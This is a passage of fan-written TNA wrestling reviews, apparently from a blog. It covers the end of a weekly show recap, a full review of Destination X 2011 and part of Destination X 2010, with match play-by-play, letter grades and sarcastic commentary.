Back to Dixie and Clair with Dixie explaining the photo. It was the time that AJ explained how bad it was to Dixie and she kind of snapped. They were going to the hotel to see Clair after she got out of rehab too. The call about Serg was about his birthday. I CALLED THAT ONE WEEKS AGO!

Brooke gives Tessmacher a campaign with Direct Auto Insurance. Gail comes up to complain and talks trash. Hogan continues her bad acting and tells Gail that she gets her rematch next week.

X-Division Tournament Qualifying Match: Rashad Cameron vs. Mason Andrews

Cameron says this is the beginning of the Rashad Cameron movement.

Tag Titles: Kurt Angle/AJ Styles vs. Kazarian/Christopher Daniels

Back with Daniels in control of AJ and hitting his running STO for two. Angle comes in and cleans house. He fires off Rolling Germans on Kaz and does the same to Daniels. Kaz grabs a TKO for two on Kurt but gets caught in the ankle lock. That gets broken up quickly and everything breaks down. AJ clotheslines Kaz down but gets caught in a Blue Thunder Bomb. Angle gets sent into the referee by Daniels so Chris grabs a chair. Kaz pulls it away and lets AJ hit the Pele. Kaz tells AJ to finish this, but then hits AJ in the back with a chair, giving Daniels the pin and the titles at 11:34.

Remember to follow me on Twitter @kbreviews




Destination X 2011 – Well That Certainly Was All X Division

Destination X 2011
Date: July 10, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Jeremy Borash

It’s the X-Division show as the division that has gone from the focal point of the company is now relegated to a show that gets four weeks of buildup!  Anyway the main event is Daniels vs. AJ in a face vs. face respect match.  Daniels has had the seeds planted for a heel turn though so it’s a distinct possibility.  The six sided ring is back for tonight only and there are a lot of X-Division style matches.  Let’s get to it.

The opening video is about how these guys have been around since the beginning and set a new standard in wrestling.  Abyss gives a voiceover about the Art of War and we get parts of Kendrick’s promo from Impact about how various religions view life and God.

Samoa Joe vs. Kazarian

 

Kaz goes straight at him at the bell and Joe is like dude no and chops away.  Kaz escapes the Clutch and Joe tries to fly, only to have Kaz move.  Joe doesn’t crash though and takes Kaz down on the floor.  Kaz tries to dive off the apron and Joe just steps to the side.  I love when he does that.  Back inside now and Joe hits an enziguri in the corner.  Kaz tries a springboard move and lands in an atomic drop.

Almost all Joe so far as he takes Kaz down again.  Headbutt by Joe hurts a lot more because he’s Samoan.  There’s a knee drop for two.  Joe puts him in Musclebuster position but chops him instead.  Kaz finally gets something of note with a springboard dropkick to put both guys down.  Joe hammers away but walks into a slam.  Yeah just a slam.  There’s that spinning legdrop that has a cool name that I can’t think of.

Slingshot DDT gets two for Kaz.  Joe goes up and Kaz gets an enziguri to stop him.  Kaz tries to load up the Flux Capacitor (C4) but they tumble out to the floor and Joe hits a suicide dive to take over again.  Back in and Joe hammers on the back a bit.  Kaz tries the Fade to Black but gets caught in a powerbomb for two.  Off to an STF by Joe which is transitioned into a Crossface which doesn’t work either.  Joe finally gets the choke and Kaz somehow makes the rope after being in the hold long enough to probably kill him.  Joe argues with the referee and Kaz rolls him up for the weak pin.

Rating: B-. This would have been higher with a better finish.  I mean it came out of nowhere and had zero heat.  I don’t know what Joe did to go on this losing streak and be pushed this far down the card but he must have done something akin to giving away Foley winning the title.  Anyway, good match up until the ending.  With another three minutes or so this could have been awesome.

We’re going to look back at AJ vs. Daniels throughout the years with the first one being from Unbreakable.  So I guess we’re skipping the 2-3 years of them feuding before that?

Daniels arrives.

Eric Young is at a convention of some sort and runs into Curry Man, Suicide and Sangriento signing autographs.  He wants a partner for tonight and Shark Boy shows up and will be his partner.  Curry Man can’t do it because he’s got a Fire Championship match tomorrow in Tokyo vs. Cody Deaner.  Oh dear.

Douglas Williams vs. Mark Haskins

 

Haskins is a British guy making his debut.  He looks like John Morrison mixed with someone far less interesting.  This is the open challenge.  Williams says the other Brits (minus his opponent) can leave.  He praises Haskins but says he’s in over his head here.  Williams is in trunks here which is kind of weird to see.  They start off fast with a pinfall reversal sequence and the overly annoying fans chant USA.

Nice technical stuff to start and Haskins sends him to the floor.  He follows him out and hammers away which doesn’t last long.  Williams takes over back inside and slaps him in the face.  Clothesline takes Haskins down again and Williams throws on an inverted Gory Special.  They slug it out with Williams taking over.  He can’t hit Rolling Chaos Theory and here comes Haskins.  Cutter gets two.

Williams goes up but jumps into a superkick.  Haskins goes up this time and then does it again.  I mean he comes off and goes back up again.  He tries a shooting star but totally misses, allowing Williams to get the rollup for the win.  Fans were REALLY not impressed there at the end with Haskins.  Williams shakes his hand post match.

Rating: C. Not bad but with all the hype Haskins got, this was pretty pedestrian.  Also not much of a match as far as an open challenge.  I’d have wanted to see more than that as far as star power but it wasn’t bad.  Just kind of there for the most part but I’ve seen far worse.  Haskins isn’t what he’s cracked up to be but he tried.

Austin Aries is with So Cal Val and says her outfit isn’t an outfit of the year candidate but he’ll give it about three and a half stars.  He talks to all the fans and all those watching on illegal streams, hoping they all choke.  Aries says he’s the best and everyone will find that out tonight.

Generation Me vs. Eric Young/Shark Boy

 

This is a bonus match.  I can never remember which Buck is which.  Eric and Shark Boy tag about five times before the match starts.  Ok so Jeremy is the blonde.  Got it.  Sharky stomps a mudhole in him early and hammers away in the corner.  There’s the Thesz Press and an elbow.  Eric comes in and beats on both guys a bit.  Off to Sharky who bites Max.  Yep it’s a comedy match.

Jeremy throws on a chinlock as Sharky is still ridiculously over.  Clothesline misses and Shark Boy gets a shot to the back of the head to put both guys down.  Young pulls his tights down to shift to trunks and gets the hot tag.  Gen Me takes over again and a bulldog gets two on Young.  Stunner by Shark Boy sets up a wheelbarrow suplex into a reverse neckbreaker by Young for the pin on Max.  Think Lethal’s Lethal Injection but with a wheelbarrow suplex.

Rating: C-. Just a comedy tag match to fill in some time.  I still hate what they’re doing with the midcard title as it’s being used as a comedy prop like Santino did to the IC Title a few years ago.  Not bad here but it’s really just a filler match and nothing all that great.  Shark Boy’s popularity is still strong though.

Clip of Daniels/Styles winning the tag titles.

Daniels and AJ are excited for the main event.

Zema Ion says he’ll win.

Same video on Ultimate X from Thursday.

The announcers talk for a bit to fill in time while the structure is put up.

Shannon Moore vs. Amazing Red vs. Alex Shelley vs. Robbie E

 

Ultimate X with the winner being #1 contender to the X Title.  Things start out quickly of course and Robbie makes a fast run for the X.  Red gets the always sweet double spin kick.  Robbie looks like he’s having a seizure or something.  Shelley and Red put Robbie on the floor before Shelley beats up Red a bit.  Shelley climbs on Moore’s shoulders but Robbie makes the stop.  Robbie is sitting in the corner and Moore is put in the Tree of Woe at the same time.

Shelley goes for the X but Red saves.  Robbie clears the ring but gets caught in the ring skirt and pummeled by Moore.  Moore and Shelley have a nice little sequence resulting in a moonsault off the stage by Moore to take Alex out.  Red is alone in the ring but Moore gets in quickly to stop him.  Shelley gets crotched and Red gets a shooting star off the shoulders of Moore in a cool spot.

Moore and Red collide so Robbie goes up now.  Red saves of course and fires off some kicks to hurt Robbie.  Robbie manages to throw Red over the top onto the other two guys to clear the ring other than himself again.  The fans are for Red here.  Robbie almost gets there but stops to fist pump, allowing Red to hit a springboard dropkick to take him down.  Moore goes up above the X and on top of the truss.  This is always scary.  I’m terrified of heights so this is really intense for me.

Moore lowers himself onto the X as Red is almost there.  Shelley is trying to catch up and Moore is down on the X now thank goodness.  Shelley kicks him down and casually wins this.  One of the fastest Ultimate X matches ever and I think that might not have been the planned finish.  Came out of nowhere with no spark at all.  Shelley looked like he was waiting on someone to stop him before he pulled it down..

Rating: C. That’s a low grade for Ultimate X, not in general.  Not much here as it was really paint by numbers out there.  I really think the ending didn’t happen as it was planned as things just kind of came to an end rather than with any kind of big spot.  Either way, not a bad match but just kind of bland, especially with no story and having an Ultimate X match for the sake of an Ultimate X match.

Clip of Daniels vs. AJ from Final Resolution 2009 which was good if I remember right.

Low Ki says he’s proven himself for his entire career and he’ll do it tonight for everyone ever told they’re too small etc.

We recap RVD vs. Jerry Lynn which is really just a respect match because they had a bunch of matches that I’ve never considered as great as most people claim they are.  This was supposed to be the main event of Hardcore Justice but Lynn hurt his back.

Jerry Lynn vs. Rob Van Dam

 

They actually say ECW.  Eh not like anyone is watching so no lawyers will hear it.  Apparently Lynn and JB used to be roommates.  That’s not something I want to picture.  Lot of stalling to start as they circle each other.  Rob grabs a headlock to start and they use a sequence they used in every ECW match they had and built on it every next match.  As always it results in a standoff.

The fans are totally split here.  They speed things up and Lynn gets taken down by a legsweep for two.  Off to an armbar as we hear about Forever Hardcore, JB’s ECW documentary.  Rob misses a kick in the corner but hits a spinwheel kick to Lynn as Lynn goes up.  Superplex is blocked and Lynn tries a tornado DDT to the apron which doesn’t work.  Back in the ring with Rob still in control.

Both guys miss a ton of stuff (due to counters, not botches) and it’s another stalemate.  Rob gets a kick to send him to the floor and teases a dive but stays in the ring.  He holds the ropes open for Jerry and actually lets him back in.  There’s the ECW chant that is required.  Lynn takes a handshake and sends Van Dam to the railing, more or less turning heel mid match.

Lynn hits a running flip off the apron to take Rob out again.  That gets two back in the ring.  Jerry hammers away some more and we hit the chinlock.  German suplex puts Van Dam down again.  Clothesline gets two.  Rob fires back with a kick to the head and Rolling Thunder for two.  Another spin kick sends Lynn to the floor again.  Rob hits the spinning legdrop to Lynn while he’s on the railing.

Slingshot legdrop gets no cover and Rob goes up.  Lynn gets up and shoves Rob off the top and we’re back on the floor again.  Been there quite often in this match.  Just as I was thinking at least this match doesn’t have a bunch of weapons, Lynn grabs a chair.  Rob tries a leg sweep but Lynn hits a Fameasser onto the chair.  Rob is busted open and Lynn gets two off of it.

Rob tries a spinning sunset flip out of the corner (think Booker T) but Lynn throws him across the ring onto the chair for two.  Rob gets a Van Daminator and hits the Five Star out of nowhere for the pin.  Has he been taking lessons from Sting in how to finish a match out of nowhere?

Rating: C+. Not a bad match but the majority of it was just like any other match.  Lynn turning mid match is definitely a good thing because face vs. face gets very boring in a hurry.  I still don’t get the appeal of this pair but I kind of liked this one better than their ECW stuff because it wasn’t as sloppy.  Started slow but it was getting much better at the end.

Jack Evans quotes Eminem and says this is his chance.

Austin Aries vs. Low Ki vs. Zema Ion vs. Jack Evans

 

Christy of course messes up something, in this case Aries’ entrance.  We get some clips of their qualifying matches during each guy’s entrance.  Winner gets a contract of course.  No tagging here thank goodness.  Aries gets a quick two count on Ion as the fans chant “everybody.”  Aries and Low Ki (Kaval for the uneducated) square off and Evans starts flipping.

Spin kick by Evans gets two on Ion.  Low Ki takes over again and hammers on Evans in the corner.  Aries takes Low Ki down and uses some Hogan in late 90s offense for some reason.  He beats up everyone but takes a triple dropkick to send him down.  Evans starts flipping again and hits a dropsault to get two on Ion.  Ion gets his turn to be on offense and gets a bunch of two counts.

Aries takes Ion down and has another showdown with Low Ki.  After getting attacked they both throw submissions on the guys that jumped them.  They manage to yell insults at each other while they have the holds.  Ok that was cool.  With the others outside they argue again and chop it out.  Aries loads up the brainbuster but Low Ki escapes and gets a big kick to Aries’ back.  Evans and Ion are back in now and Ion gets a knee to Evans’ face for two.  Pendulum elbow gets two for Aries.

Ion clears the ring and takes over but Aries stops a dive.  Aries tries a suicide dive but Low Ki gets a fast kick up to send him flying backwards.  Evans comes in and flips a lot but spins around too much as Aries takes him down with a spinning forarm.  The fans chant sign them all.  Ion and Aries are the only ones up right now.  Aries gets a neckbreaker on the rope to put Ion down.  Low Ki gets a cartwheel into a kick to knock Aries off the top and also get two.

Evans blocks a Warrior’s Way to Aries with a rana, getting two.  He calls for the 630 but Ion breaks it up.  Ion hits the 450 on Low Ki but Aries makes the save.  Using the distraction, Evans fires off the 630 but eats knees.  Aries hammers on Evans and hits the brainbuster on Low Ki to win the contract.  Probably the best choice.

Rating: B. Can’t really complain here as this was what the X-Division was built on.  The fans got their flips and probably the best possible outcome here with Aries arguably being the best guy here.  I’d expect to see all of them again in the future which is probably the best thing, especially with how weak the division has been lately.  Fun match.

Aries asks Val if she’s surprised.  He takes the contract and leaves.

Abyss talks about the Art of War and how he’ll keep the title.  He implies he ate his missing teeth.

We recap Abyss vs. Kendrick.  Abyss took the title in an attempt to kill the division and Kendrick is fighting for the honor and tradition of it or something.

X-Division Title: Brian Kendrick vs. Abyss

 

Kendrick fires away at the legs to start and that gets him nowhere.  A cross body is totally no sold which is a cool visual.  Kendrick hammers away but none of it’s working.  Chokeslam is teased but Kendrick bites the fingers to escape.  Kendrick is sent to the floor as Abyss asks if this is it.  Fan: “Nobody likes you Abyss!”  Abyss keeps hammering back in the ring and stops to read a few pages.

Kendrick keeps kicking at the legs and that doesn’t work at all.  Instead Abyss hammers him down in the corner as this has more or less been one sided.  Time for more reading!  A right hand makes him drop the book and apparently that was enough to open him up.  Abyss is all ticked off and Kendrick is able to fight back, hitting a dropkick to send him to the floor.

Back in the ring and Kendrick gets a missile dropkick for two.  Sliced Bread is countered into Shock Treatment which gets two.  Ref is bumped in a really stupid looking spot.  Sliced Bread hits but there’s no referee.  Here’s Bischoff to solid heat.  He yells at Kendrick who decks him.  Immortal runs out and the beating is on.

The X guys run out and get tossed with ease.  They get Kendrick on his own and here are more X guys to fight Immortal.  They clear the ring as I REALLY hope the match doesn’t continue after this.  The ring is cleared out and a chokeslam is countered into a victory roll for Kendrick to win the title.  You know, because the referee didn’t notice FIFTEEN PEOPLE IN THE RING.  Confetti goes off but we’ve got another match to go because Brian Kendrick can’t win a main event match.

Rating: C. Match was pretty boring and despite one of the dumbest moments I’ve ever seen and that this match should have ended the show PERIOD, this was a solid feel good moment and absolutely had to happen on this show.  Otherwise this wouldn’t have made a bit of sense.  It worked though and while the match was boring, the ending worked, lack of common sense aside.

Video on AJ vs. Daniels which I’m sure you’ve gotten the point of in all the talking they’ve done already.

AJ Styles vs. Christopher Daniels

 

Apparently the winner is best X-Division Wrestler EVER, despite AJ’s resume blowing Daniels’ away.  Christy does big match intros again.  Apparently these two named their kids after each other.  That’s borderline creepy.  The latest chant: “Wrestling. YAY!  Hulk Hogan.  Boo!”  Give me a break.  Lots of basic back and forth stuff to start with them knowing each other really well being the idea.

AJ works the arm a bit and they speed it up quickly.  Both guys work the arm and it comes down to another stalemate after about 5 minutes.  They shake hands and AJ puts another armbar on.  The fans are split again.  They speed things up and Daniels hits the floor.  They have a TON of time here so this is going to be a very slow build.  Daniels keeps trying to speed things up but AJ keeps going with the armbar.

They slowly start cranking things up as Daniels takes over.  He works AJ over for a good while but AJ sends him to the floor, adding in a plancha that looked almost like Delirious’ Shadows Over Hell.  Back inside now and AJ hammers away again.  AJ works on the arm AGAIN but at least is using a Fujiwara Armbar here.  Helps a lot when they mix things up.  Out to the apron and AJ counters into a suplex on the apron.

Daniels takes over on the floor.  Back in he chops away at the back and gets a neckbreaker for two.  Pinfall reversal sequence ends in AJ being caught in a Crossface.  Death Valley Driver gets two and Daniels is getting frustrated.  They chop it out and AJ hits an enziguri to put both guys down.  AJ slips off the top and crashes down, letting Daniels get two.  Daniels goes up but gets caught in a Torture Rack which AJ spins out into a powerbomb for two.

Bad Downward Spiral by Daniels sets up the Koji Clutch to AJ.  They’re getting tired here.  AJ makes the rope as this probably needs to end soon.  Daniels uses his variety of strikes but still can’t pin him.  The tape finally comes off Daniels’ arms which is good as it had been dangling for awhile.  AJ snap mares him off the top for two.  He can’t get Angel’s Wings or the Clash (AJ can’t that is) so Daniels hits an STO and release Rock Bottom but the BME eats boot.

Styles Clash out of nowhere gets two as this is nearly half an hour long now.  Angel’s Wings gets two and Daniels is ticked.  They fight to the corner but Daniels can’t hit the Angel’s Wings from up there.  AJ busts out the Spiral Tap but it doesn’t look as good as it usually does.  That’s enough for the pin though at nearly half an hour.

Rating: B. Another good match here but I don’t think it got as epic as they were hoping.  It was one of the longest matches I can ever remember in TNA but at the same time they got sloppy later on in it.  It was good, but I still think the title match should have closed the show.  I’ve never been a big fan of these matches but they’re usually pretty good.  Good choice to end the show, but it’s not like it means anything more than bragging rights.  Also this went too long and the fans were losing interest late in it.

Daniels won’t shake his hand post match.  Ok yes he will.  And that’s it.

Overall Rating: B. This is a very subjective grade and I won’t defend it that much because some people will love it, some will hate it and some will find it at every point in between.  The idea was an all X-Division PPV and they certainly did that.  However, the first probably hour or so was just average at best.  The three main matches delivered, but the match order didn’t work for me.

With the story coming in being Bischoff wanting to kill the X-Division, having the X-Division overcome him should have been the main event and closing scene of the show.  The fourway was good and what the X-Division is built upon.  The main event was good as well and even very good at times.  All around this show worked and was a great showcase of the X Division, but it’s not a blow away show like I think they were shooting for.

The main problem is that this isn’t a show that I would predict meaning much.  It’ll probably be referenced for a few weeks and some of the guys will say how they showed how awesome it was, and then the division will go right back to what it was: a title match thrown on here and there and an occasional bonus match on PPV as an opener.  That’s the nature of the beast though and it’s more or less reality.  That’s probably what hurts this the most, but there’s nothing that can be done about it.

Results

Kazarian b. Samoa Joe – Rollup

Douglas Williams b. Mark Haskins – Pin after a missed shooting star press

Eric Young/Shark Boy b. Generation Me – Wheelbarrow suplex into a neckbreaker to Max Buck

Alex Shelley b. Robbie E, Shannon Moore and Amazing Red – Shelley pulled down the X

Rob Van Dam b. Jerry Lynn – Five Star Frog Splash

Austin Aries b. Zema Ion, Jack Evans and Low Ki – Brainbuster to Low Ki

Brian Kendrick b. Abyss – Victory Roll

AJ Styles b. Christopher Daniels – Spiral Tap




Destination X 2010 – Now Featuring Bad Comedy

Destination X 2010
Date: March 21, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

So the focus is back on the X Division here as we have Ultimate X and a tag team ladder match to take a look at this time. I watched this show live and I liked what I saw for the most part. We have AJ vs. Abyss in the main event which if it’s anything like their cage match about 5 years ago it will be great. Anyway, let’s get to it.

The opening video is thankfully about the X Division with Daniels talking about how awesome he is. And now we’re done with that and talking about the rest of the card. Of course it’s over the top since this is a TNA video.

Kazarian vs. Brian Kendrick vs. Amazing Red vs. Christopher Daniels

Winner is #1 contender to the X Division Title. Oh and it’s a ladder match. This was when Daniels had some weird thing on where it wrapped around his neck and then down to his arms. It just looked weird. Make your own Antonio Banderas jokes. We get going and Kendrick hits the floor. Smart. Red launches himself of the ropes to hit everyone not named Kendrick. There’s your first ladder.

Everyone goes for the contract in a row but no one gets it. I love that STO Daniels does. Taz knowing the real name of it might be the only thing worth anything from him. The ladder has an ad for TNAwrestling.com. There’s something amusing about that. TNA gets the idea here at least: have a spot fest. That’s what a match like this is supposed to be and that’s what they’re giving us.

Red hits a SWEET hurricanrana to the floor. In a spot that I thought was stupid Kazarian has Red in position for the Flux Capactior on the ladder. The setup is like a Rock Bottom. His left arm is free. WHY DIDN’T HE GRAB THE PAPER??? He makes up for it a bit with a slingshot Fameasser to a ladder on Daniels. Nice. Kendrick gets his fingers slammed in a ladder. FREAKING OW!

Daniels and Kaz are the only ones left in there. And there’s Kendrick so never mind. Crowd is totally behind Kendrick here in case you’re wondering. That five clap sequence the audience does needs to freaking die. It truly does. In a nice spot, Red goes for a springboard something but jumps into a Diamond Cutter from Kazarian. I like it.

Ladder number two is in and Red and Daniels have a race. Kazarian does the Shelton Spider-Man spot to get onto the ladders and knocks Daniels off to win the stupid thing.

Rating: B+. It was a spot fest and that’s all it had to be. This was a great way to open the show and the match was solid. Even in a TNA crowd you have to get them fired up and what better way than this? Kaz will win the title soon and after this he deserves it. Fun match.

We talk about A.J. vs. Abyss for no apparent reason. I can’t get over this ring thing. It’s just idiotic to say the least. And here’s Ric Flair for no reason at all. Chelsea brings him out in a wheelchair. To the shock of no one, Flair is ticked off. I know some people love this, but it’s saddening to see him look like this much of a joke anymore.

He was so great and now he’s just a blithering old man. The ask your mother jokes are still kind of funny though. Seriously though, he’s just a crazy man that won’t let go of the past now.

We cut to Hogan and Abyss and Hogan likes him a lot. Shocking isn’t it? It continues to confuse me that he’s a former world champion here and all of a sudden he’s’ never accomplished anything. The ring is just stupid. Is it supposed to make him super powered or something? He looks like someone attacked him with ketchup and mustard. Bischoff comes in and he has limited hair now. If nothing else the jokes Abyss and Hogan make are kind of funny.

Knockouts Title: Tara vs. Daffney

Tara is just made of hotness. Apparently Daffney is the “challengemer”. Sure why not Tenay. The zombie hot thing is hit or miss for me with her. She does the splits for her entrance which is unique apparently. I guess if Melina is hurt that makes it unique. Tara goes straight for her and we’re off and running early. Tara’s shirt comes off and I start smiling. At least she didn’t do the dance for the moonsault this time.

It’s ok when she’s dominating but not when she’s ticked off. Tara busts out a Tarantula which at least fits really well. Daffney hooks a messed up submission hold which is unique. This is a bit sloppy but it’s very nice to see women having a match where it looks like they know what they’re doing and you have a legitimate flow to the match rather than just moving from spot to spot, most of which would be blown.

Daffney doesn’t get to wrestle much but she’s not bad when she does. Widow’s Peak ends it. Daffney steals the spider afterwards so the feud continues.

Rating: C+. Not bad at all here. It’s nothing great, but it was perfectly watchable. Daffney surprised me in there and Tara of course is dependable so that works out fine. I wish they didn’t do the spider thing as there’s no real point to continuing this since Tara got a clean pin but whatever.

Brutus Magnus is changing his name to just Magnus. This turns into a discussion of Frankenstein. Sure why not.

Global Title: Magnus vs. Rob Terry

Terry is getting the Goldberg push which is fine I guess. It keeps his matches short if nothing else. It never ceases to amaze me that people talk about what an alternative to WWE TNA is supposed to be and here we have a not incredibly talented musclehead guy getting a mega push. A spinebuster ends this in like a minute and a half.

Rating: N/A. The Goldberg push continues, which I can’t say I have many problems with. This was a total non-threat so that’s all fine and good.

We get a highlight package on Ultimate X with a bunch of people talking about how dangerous it is. We’ll ignore that none of them have ever been in one of these matches.

The Machine Guns talk about how great they are and say Generation Me need their Hardy Boys Starter Kit. That’s rather amusing and the crowd laughed hard at it.

Taz says he was looking at the structure earlier when he was hanging in the rafters. Do I even need to make fun of that?

Ultimate X: Motor City Machine Guns vs. Generation Me

You think this could be awesome? Yeah me too. Penzer messes up a bit on his opening line. Ok one is Max and one is Jeremy. I’ll never remember that but whatever. BIG pop for the Guns. Seriously, how have these two never been tag champions? This is Sabin’s 13th Ultimate X match out of 20 that have happened. That’s INSANE. The Guns immediately hit the corners which is rather stupid but whatever.

Don’t expect a ton of play by play or criticism over psychology here. It’s just not going to happen. In a painful looking spot, One of the Bucks gets their hair pulled around the structure. FREAKING OW MAN! Ok Max has the headband. Got it. I think we got a Team 3D chant in there. Why? What the freaking heck? Who cares as Shelley hits a sweet looking dive to shut the fans up.

There is little more fun to see than precision double teaming. That’s what the golden age of tag wrestling was predicated on and these guys bring that back. Jeremy is freaking entertaining. He hits a springboard modified X-Factor and immediately hits a moonsault to the floor. Sweetness. They do something smart and say no replays until the match is over. That’s a good idea.

Jeremy gets up on the X but Sabin makes the stop. Shelley actually tickles Jeremy to knock him down. Well whatever works I guess. The fans think this is awesome. Now if only they were paying to see it. Everyone goes on one part of the X and they all do the leg hook thing but everyone falls. Kick-o-rama begins and it’s sweet. The speed of these guys is epic.

In a SWEET spot, Max is in the Tree of Woe and Jeremy takes a belly to belly into him. And in a STUPID move, the Guns unhook Max. Seriously, why in the world would you do that? It makes NO sense. One guy is on the floor and the other is stuck in the corner. One guy plays guard and the other goes up. Whatever though as we got a cool double team out of it. Sabin and Jeremy go up but down comes Jeremy and the Guns win it!

Rating: A-. Just a sweet match here. Much like the TLC matches, this wasn’t about wrestling but about high flying spectacles which is just fine. These are designed to have the guys showcase themselves and that’s what they did here. Very fun match and worth finding a copy of for sure.

The highlight package is great of course.

We recap the Band vs. Nash and Young. Seriously, could they make Nash’s heel turn more obvious? I certainly don’t think so. Oddly enough Nash throws a left handed punch in the video. That’s rather odd.

Hall and Nash say they’re ready and use the term Wolfpack a lot. Is this a Hangover commercial? WOW that was weak. Hall is in passable shape here which is shocking. Waltman steals my Crosby and Stills joke so I hate him even more now.

Scott Hall/Sean Waltman vs. Kevin Nash/Eric Young

The heels get no music. Ok then. Waltman is named Syxx-Pac here but that’s just not being written. Hall has a partner yet he’s a lone wolf. Figure that one out. I mean why would he be channeling Barry Windham? There’s a sign all night that says PG Sucks. That line and theory just amuses me. The Survey says the fans want Hall and Waltman to have contracts.

Why does that not surprise me? Young is just billed from Canada. Is that the best they can do? Pac and Young start us out so Pac will be bearable here. He’s always been better against small guys. I just have no reason to believe he’s this giant killer that everyone swears he is. Hall comes in and does all his old stuff. Seriously I’m sitting here calling every move he’s going to do down to the second.

Young and Pac botch the heck out of a backdrop. Waltman hits a decent over the top rope dive. No Nash at all yet as they have the whole thing so telegraphed it’s pathetic. Seriously, this is boring simply because we know what’s coming. Waltman sprays paint in Young’s eyes. Yeah I’m sure the referee sees nothing odd about that at all since he was with Nash the whole time. Nash gets the tag and there it is.

Even Taz sounds bored with it. All three finishers hit and it’s over. They do the paint outline of Young on the mat which makes the whole thing look stupid. We even get the Wolfpack theme song minus the lyrics. We’ll ignore the Young push being crushed for three old guys that were a unit 12 years ago.

Rating: D. Seriously, this was so boring. There was no point to the match as it was all about the turn that we all knew was coming. When a TNA crowd sounds bored out of their mind, you know you screwed up something bad. Also, it was so much of a swerve that they had the Wolfpack music not only ready but remixed without the lyrics. That’s a REAL swerve.

Angle burns a picture of Anderson. Ok then.

X-Division Title: Shannon Moore vs. Doug Williams

So on a show where the X-Division is being highlighted, the X Title match is going on about halfway through the show? Sure why not. Why is Moore getting PPV time when Hardy and Van Dam and Pope and Sting aren’t again? Has Moore ever won anything? Also, why do we need both him and Jesse Neal? I seriously couldn’t tell them apart if I had to. Moore apparently reads from the book of DILLIGAF.

Wow that’s idiotic but at least it’s something minor. We get a Cravate so I’m happy. It’s a weird kind of side headlock that Chris Hero uses a lot in case you’re wondering. It looks like you’re setting for a snapmare but you never flip the guy over. Williams is a good striker if nothing else. The crowd finally wakes up a bit. Williams reaches under the ring and gets a brick which gets the win. There needs to be an official Under the Ring Checker.

Seriously, people just throw EVERYTHING under there. Moore is allegedly bleeding but it doesn’t look like much blood to me. Post match we get a semi-shoot promo from Williams where he whines about how the division isn’t about wrestling anymore but high fliers so he’s going to change that. He goes and steals a woman’s purse to put lipstick on Moore. Ok then. The fans chant for RVD and no one comes of course. I would argue Hogan and his booking are what’s wrong with the division but that’s just me.

Rating: D. Weak stuff here as not only did no one care but the match wasn’t that good. Seriously, what in the world is the appeal of Shannon Moore? I seriously don’t get it. He never wins anything, his look is stupid and he’s nothing special in the ring. Total filler match.

We recap Morgan and Hernandez vs. Beer Money. This was just after Beer Money turned heel on television while complaining about not being on television. I flat out do not like this angle at all as it’s making the tag titles look stupid kind of. If you insist on turning Morgn heel, at least wait awhile first.

Tag Titles: Matt Morgan/Hernandez vs. Beer Money

Sweet goodness have the champions fallen far. I like the opening of Beer Money’s theme song if nothing else. Dang that outline looks stupid. Morgan and Roode start us out. And so much for that as Hernandez is tagged in maybe 10 seconds into the match. How did they miss the boat with Hernandez?

So basically the champions can’t be hurt and the challengers have zero chance here. Ah ok that’s better as Hernandez gets beaten down. Hernandez holds Storm up in a suplex for about 25 seconds. That’s very scary. So basically Morgan is cocky and comes in when Hernandez has beaten the other guys down.

Morgan blocks a big dive from Hernandez and then the Supermex gets hit with an enziguri, Once he remembers to sell it, Roode goes way up in my eyes with a Blockbuster. I love that move. After more arguing, the size and power are too much and a modified Dominator ends this. Morgan kicks Hernandez afterwards.

Rating: D+. This was all angle and not much about the match at all. That’s ok I guess as it set up a bigger one the next night. This was ok but nothing great at all. Beer Money isn’t as good as people say they are but they’re ok. I still don’t like the champions being together but that’s neither here nor there I guess. Decent but I wanted it to end.

We recap Angle vs. Anderson and their game of pass the medal. The promos have been good but it’s been repetitive with the medal being the focus of the thing over and over again.

Mr. Anderson vs. Kurt Angle

We have 53 minutes left so this is going to be LONG. We start off slow which is odd as they’ve fought before but that’s fine. The crowd is clearly not as hot as they were during the ladder or Ultimate X match. That’s not particularly a good thing but to be fair it means they put on a good match earlier. Much like he did with Shane at KOTR 2001, Angle does the volunteering to let Anderson get a free hold on him.

Naturally, Angle wins here. Angle is outwrestling him here which is what you would expect of him obviously. Dang the bald one can throw a punch when he wants to. Anderson works on the arm but that doesn’t work very well. Ok maybe it does. It’s so hard to tell at times. This has slowed down a lot and it’s not helping much at all. If nothing else Angle can still do a decent belly to belly. Naturally the Angle Slam gets two.

When was the last time that actually worked? Mic Check and tights get two. Angle busts out a freaking frog splash and it wasn’t bad at all. There goes the referee as Anderson hits a belly to back suplex. Oh ok he spun about two inches so it’s an Angle Slam. Got it. Angle gets his medal back. Yeah I don’t care at this point either. He then does the same thing that he criticized Anderson for over the last few months.

Oh him being a face makes it ok though right? That’s the Hulk Hogan principle I believe. Ankle Lock ends it a few seconds later. Anderson was more or less worthless here. He was ok looking but this was very one sided. Anderson blasts the crowd afterwards. He says his name about ten times so this has to be a good promo right?

Rating: C-. Not bad, but really Anderson never had any real chance to win. Like I said, he looked ok but there was zero drama here. That’s never a good thing, especially in a long match like this. Either way, not bad or anything, just not that exciting.

We recap the Abyss/AJ match, which is perhaps the weakest main event I could think of. I mean really, did ANYONE buy Abyss possibly winning the title here? I never once did as they’re going to likely give it to Pope at Lockdown. Basically Hogan gave up his HOF ring and it’s made Abyss powerful or something. Oh and he chokeslammed Flair through the ramp.

AJ says he’s not afraid and Abyss is stupid.

Abyss says he has a ring and thanks Hogan. Remember: Abyss was nothing without Hogan. This goes on way too long and ends with Hogan catchphrases.

TNA World Title: A.J. Styles vs. Abyss

Seriously, the Hogan worship needs to END. This is idiotic to say the least. Oh look: let’s take someone not like Hogan at all and turn him into someone that does Hogan things. It’s just stupid. He’s a monster. Let him be a monster! Flair and Chelsea are here too. Even big match intros aren’t helping this much. Yeah the red and yellow spots on his shirt are just idiotic looking.

Abyss does something SMART and jumps AJ during the intros. That’s a good and simple idea that works. We’re on the ramp now and Flair goes after Abyss. Seriously, what is he going to do? Remember, he’s in a wheelchair. See this is what makes AJ’s heel turn stupid: he can work great matches ON HIS OWN. AJ is a great wrestler and was world champion. WHY WOULD HE NEED A MENTOR???

